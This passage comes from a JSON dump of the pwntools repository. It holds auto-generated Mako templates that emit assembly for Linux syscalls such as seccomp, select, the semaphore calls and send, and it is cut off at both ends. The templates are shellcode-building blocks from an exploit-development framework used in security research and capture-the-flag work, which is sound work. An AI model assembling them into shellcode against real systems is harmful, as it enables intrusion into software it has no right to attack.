${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/seccomp.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>seccomp(operation, flags, args) -> str\n\nInvokes the syscall seccomp.\n\nSee 'man 2 seccomp' for more information.\n\nArguments:\n    operation(unsigned): operation\n    flags(unsigned): flags\n    args(void*): args\nReturns:\n    int\n</%docstring>\n<%page args=\"operation=0, flags=0, args=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['args']\n    can_pushstr_array = []\n\n    argument_names = ['operation', 'flags', 'args']\n    argument_values = [operation, flags, args]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_seccomp']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_seccomp'])\n%>\n    /* seccomp(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/security.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>security(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall security.\n\nSee 'man 2 security' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_security']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_security'])\n%>\n    /* security(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/select.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>select(nfds, readfds, writefds, exceptfds, timeout) -> str\n\nInvokes the syscall select.\n\nSee 'man 2 select' for more information.\n\nArguments:\n    nfds(int): nfds\n    readfds(fd_set*): readfds\n    writefds(fd_set*): writefds\n    exceptfds(fd_set*): exceptfds\n    timeout(timeval*): timeout\nReturns:\n    int\n</%docstring>\n<%page args=\"nfds=0, readfds=0, writefds=0, exceptfds=0, timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['nfds', 'readfds', 'writefds', 'exceptfds', 'timeout']\n    argument_values = [nfds, readfds, writefds, exceptfds, timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_select']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_select'])\n%>\n    /* select(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/semctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>semctl(semid, semnum, cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall semctl.\n\nSee 'man 2 semctl' for more information.\n\nArguments:\n    semid(int): semid\n    semnum(int): semnum\n    cmd(int): cmd\n    vararg(int): vararg\nReturns:\n    int\n</%docstring>\n<%page args=\"semid=0, semnum=0, cmd=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['semid', 'semnum', 'cmd', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [semid, semnum, cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_semctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_semctl'])\n%>\n    /* semctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/semget.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>semget(key, nsems, semflg) -> str\n\nInvokes the syscall semget.\n\nSee 'man 2 semget' for more information.\n\nArguments:\n    key(key_t): key\n    nsems(int): nsems\n    semflg(int): semflg\nReturns:\n    int\n</%docstring>\n<%page args=\"key=0, nsems=0, semflg=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['key', 'nsems', 'semflg']\n    argument_values = [key, nsems, semflg]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_semget']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_semget'])\n%>\n    /* semget(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/semop.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>semop(semid, sops, nsops) -> str\n\nInvokes the syscall semop.\n\nSee 'man 2 semop' for more information.\n\nArguments:\n    semid(int): semid\n    sops(sembuf*): sops\n    nsops(size_t): nsops\nReturns:\n    int\n</%docstring>\n<%page args=\"semid=0, sops=0, nsops=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['semid', 'sops', 'nsops']\n    argument_values = [semid, sops, nsops]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_semop']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_semop'])\n%>\n    /* semop(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/semtimedop.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>semtimedop(semid, sops, nsops, timeout) -> str\n\nInvokes the syscall semtimedop.\n\nSee 'man 2 semtimedop' for more information.\n\nArguments:\n    semid(int): semid\n    sops(sembuf*): sops\n    nsops(size_t): nsops\n    timeout(timespec*): timeout\nReturns:\n    int\n</%docstring>\n<%page args=\"semid=0, sops=0, nsops=0, timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['semid', 'sops', 'nsops', 'timeout']\n    argument_values = [semid, sops, nsops, timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_semtimedop']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_semtimedop'])\n%>\n    /* semtimedop(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/semtimedop_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>semtimedop_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall semtimedop_time64.\n\nSee 'man 2 semtimedop_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_semtimedop_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_semtimedop_time64'])\n%>\n    /* semtimedop_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/send.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>send(fd, buf, n, flags) -> str\n\nInvokes the syscall send.\n\nSee 'man 2 send' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\n    flags(int): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n', 'flags']\n    argument_values = [fd, buf, n, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_send']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_send'])\n%>\n    /* send(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], 